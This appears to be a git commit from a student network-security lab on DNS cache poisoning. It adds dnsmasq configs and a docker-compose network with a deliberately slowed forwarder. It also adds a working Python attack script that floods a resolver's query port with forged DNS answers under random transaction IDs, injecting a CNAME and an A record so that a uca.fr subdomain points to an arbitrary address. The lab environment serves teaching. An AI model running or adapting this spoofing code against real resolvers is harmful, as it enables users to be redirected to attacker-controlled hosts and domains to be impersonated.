add partie2
continuous-integration/drone/push Build is passing
Details
continuous-integration/drone/push Build is passing
Details
parent
15810bbd44
commit
a2bbcc7739
@ -0,0 +1,4 @@
|
||||
no-resolv
|
||||
query-port=6969
|
||||
port=7654
|
||||
server=10.5.0.3
|
@ -0,0 +1,45 @@
|
||||
services:
|
||||
dns-primary:
|
||||
restart: always
|
||||
image: hub.codefirst.iut.uca.fr/victor.soulier/pm2-tp-dns-poisoning:latest
|
||||
ports:
|
||||
- "7654:7654/udp"
|
||||
- "6969:6969/udp"
|
||||
volumes:
|
||||
- ./config-spoofing/dns-primary/dnsmasq.conf:/etc/dnsmasq.conf
|
||||
cap_add:
|
||||
- NET_ADMIN
|
||||
networks:
|
||||
dns-network:
|
||||
ipv4_address: 10.5.0.2
|
||||
|
||||
py-slower:
|
||||
restart: always
|
||||
image: python:3.13.0
|
||||
volumes:
|
||||
- ./scripts/slow.py:/slow.py
|
||||
cap_add:
|
||||
- NET_ADMIN
|
||||
networks:
|
||||
dns-network:
|
||||
ipv4_address: 10.5.0.3
|
||||
command: python slow.py
|
||||
|
||||
dns-cache:
|
||||
restart: always
|
||||
image: hub.codefirst.iut.uca.fr/victor.soulier/pm2-tp-dns-poisoning:latest
|
||||
volumes:
|
||||
- ./config-spoofing/dns-cache/dnsmasq.conf:/etc/dnsmasq.conf
|
||||
cap_add:
|
||||
- NET_ADMIN
|
||||
networks:
|
||||
dns-network:
|
||||
ipv4_address: 10.5.0.4
|
||||
|
||||
networks:
|
||||
dns-network:
|
||||
driver: bridge
|
||||
ipam:
|
||||
config:
|
||||
- subnet: 10.5.0.0/16
|
||||
gateway: 10.5.0.1
|
@ -0,0 +1,176 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
import multiprocessing
|
||||
import socket
|
||||
import random
|
||||
import time
|
||||
from dns import resolver
|
||||
|
||||
HEADER_SIZE = 12
|
||||
|
||||
|
||||
class RecordType:
|
||||
"""DNS Record TYPE"""
|
||||
A = b"\x00\x01"
|
||||
NS = b"\x00\x02"
|
||||
CNAME = b"\x00\x05"
|
||||
CLASS_IN = b"\x00\x01"
|
||||
|
||||
|
||||
class Encoder:
|
||||
"""Encode utilites function"""
|
||||
|
||||
@staticmethod
|
||||
def encode_question_entry(name: bytes, type: bytes, qclass: bytes) -> bytes:
|
||||
"""Encode entry question section"""
|
||||
return Encoder.encode_name(name) + type + qclass
|
||||
|
||||
@staticmethod
|
||||
def encode_response_entry(name: bytes, type: bytes, clazz: bytes, ttl: int, rdata: bytes):
|
||||
"""Encode entry response section"""
|
||||
return (name
|
||||
+ type
|
||||
+ clazz
|
||||
+ ttl.to_bytes(length=4, byteorder="big")
|
||||
+ len(rdata).to_bytes(length=2, byteorder="big")
|
||||
+ rdata)
|
||||
|
||||
@staticmethod
|
||||
def encode_name_pointer(offset_since_start: int):
|
||||
"""Encode name pointer"""
|
||||
# Note: this wrongly assumes that offset <= 255
|
||||
return bytes((0xC0, offset_since_start))
|
||||
|
||||
@staticmethod
|
||||
def encode_name(name: bytes) -> bytes:
|
||||
"""a domain name represented as a sequence of labels, where
|
||||
each label consists of a length octet followed by that
|
||||
number of octets."""
|
||||
# https://datatracker.ietf.org/doc/html/rfc1035#section-4.1.2
|
||||
encoded = b""
|
||||
|
||||
for component in name.split(b'.'):
|
||||
# Chaque composant est précédé par sa longueur en octet encodé sur 1 octet
|
||||
encoded += len(component).to_bytes(length=1, signed=False)
|
||||
# Contenu
|
||||
encoded += component
|
||||
|
||||
# Fin du nom
|
||||
encoded += b'\x00'
|
||||
|
||||
return encoded
|
||||
|
||||
@staticmethod
|
||||
def encode_header(response: bool, opcode: int, authoritative: bool, truncated: bool, rec_d: bool, rec_a: bool, rcode: int, questions: int, answers: int, authorities: int, additional: int):
|
||||
flags = [0, 0]
|
||||
if response:
|
||||
flags[0] |= 0x80
|
||||
flags[0] |= (opcode & 0x0F) << 3
|
||||
if authoritative:
|
||||
flags[0] |= 0x04
|
||||
if truncated:
|
||||
flags[0] |= 0x02
|
||||
if rec_d:
|
||||
flags[0] |= 0x01
|
||||
|
||||
if rec_a:
|
||||
flags[1] |= 0x80
|
||||
flags[1] |= rcode & 0x0F
|
||||
|
||||
# header = tid.to_bytes(length=2, byteorder="big")
|
||||
header = bytes(flags)
|
||||
header += questions.to_bytes(length=2, byteorder="big")
|
||||
header += answers.to_bytes(length=2, byteorder="big")
|
||||
header += authorities.to_bytes(length=2, byteorder="big")
|
||||
header += additional.to_bytes(length=2, byteorder="big")
|
||||
|
||||
return header
|
||||
|
||||
|
||||
class DNSServer:
|
||||
"""Represent a DNS Server"""
|
||||
|
||||
def __init__(self, ip: str, port: int, query_port: int):
|
||||
self._ip: str = ip
|
||||
self._port: int = port
|
||||
self._query_port: int = query_port
|
||||
|
||||
@property
|
||||
def ip(self) -> str:
|
||||
return self._ip
|
||||
|
||||
@property
|
||||
def port(self) -> int:
|
||||
return self._port
|
||||
|
||||
@property
|
||||
def query_port(self) -> int:
|
||||
return self._query_port
|
||||
|
||||
|
||||
class Request:
|
||||
def __init__(self, dns: DNSServer):
|
||||
self._dns: DNSServer = dns
|
||||
|
||||
def post(self, pipe, spoofed_name_server: str, address: bytes):
|
||||
spoofed_name_server_encoded: bytes = spoofed_name_server.encode()
|
||||
sok = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
|
||||
name_server_encoded: bytes = pipe.recv()
|
||||
|
||||
while True:
|
||||
packet_body = Encoder.encode_header(
|
||||
True, 0, False, False, True, True, 0, 1, 2, 0, 0)
|
||||
packet_body += Encoder.encode_question_entry(
|
||||
name_server_encoded, RecordType.A, RecordType.CLASS_IN)
|
||||
packet_body += Encoder.encode_response_entry(Encoder.encode_name(
|
||||
name_server_encoded), RecordType.CNAME, RecordType.CLASS_IN, 3600, Encoder.encode_name(spoofed_name_server_encoded))
|
||||
packet_body += Encoder.encode_response_entry(Encoder.encode_name(
|
||||
spoofed_name_server_encoded), RecordType.A, RecordType.CLASS_IN, 3600, address)
|
||||
|
||||
while not pipe.poll():
|
||||
transaction_id = random.randbytes(2)
|
||||
|
||||
sok.sendto(transaction_id + packet_body,
|
||||
(self._dns.ip, self._dns.query_port,))
|
||||
|
||||
name_server_encoded = pipe.recv()
|
||||
|
||||
|
||||
def get(self, pipe, name_server: str):
|
||||
resolve = resolver.Resolver()
|
||||
resolve.nameservers = [self._dns.ip]
|
||||
resolve.port = self._dns.port
|
||||
|
||||
while True:
|
||||
pipe.send(name_server.encode())
|
||||
time.sleep(1)
|
||||
|
||||
try:
|
||||
res = resolve.resolve(name_server)
|
||||
print("Found", res.response.answer)
|
||||
except resolver.NXDOMAIN:
|
||||
print("Not found")
|
||||
except resolver.LifetimeTimeout:
|
||||
print("empty / timeout")
|
||||
except resolver.NoAnswer:
|
||||
print("No answer")
|
||||
|
||||
|
||||
dns = DNSServer("127.0.0.1", 7654, 6969)
|
||||
req = Request(dns)
|
||||
cpt = 0
|
||||
while True:
|
||||
new_address = bytes((123, 45, 67, 89))
|
||||
domain = "uca.fr"
|
||||
spoofed_sub_domain = "artichaut"
|
||||
spoofed_domain = spoofed_sub_domain + "." + domain
|
||||
|
||||
parent, child = multiprocessing.Pipe()
|
||||
|
||||
p = multiprocessing.Process(target=req.post, args=(child, spoofed_domain, bytes((123,45,67,89))))
|
||||
p.start()
|
||||
|
||||
req.get(parent, domain)
|
||||
|
||||
p.join()
|
@ -0,0 +1 @@
|
||||
dnspython==2.7
|
@ -0,0 +1,22 @@
|
||||
import socket
|
||||
import signal
|
||||
import sys
|
||||
from time import sleep
|
||||
|
||||
def shutdown(sig, frame):
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
signal.signal(signal.SIGTERM, shutdown)
|
||||
sin = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
sout = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
sin.bind(("0.0.0.0", 53))
|
||||
print("started")
|
||||
|
||||
while True:
|
||||
buf, client = sin.recvfrom(512)
|
||||
print("Fwd")
|
||||
sout.sendto(buf, ("10.5.0.4", 53))
|
||||
buf = sout.recv(512)
|
||||
sleep(3)
|
||||
sin.sendto(buf, client)
|
Reference in new issue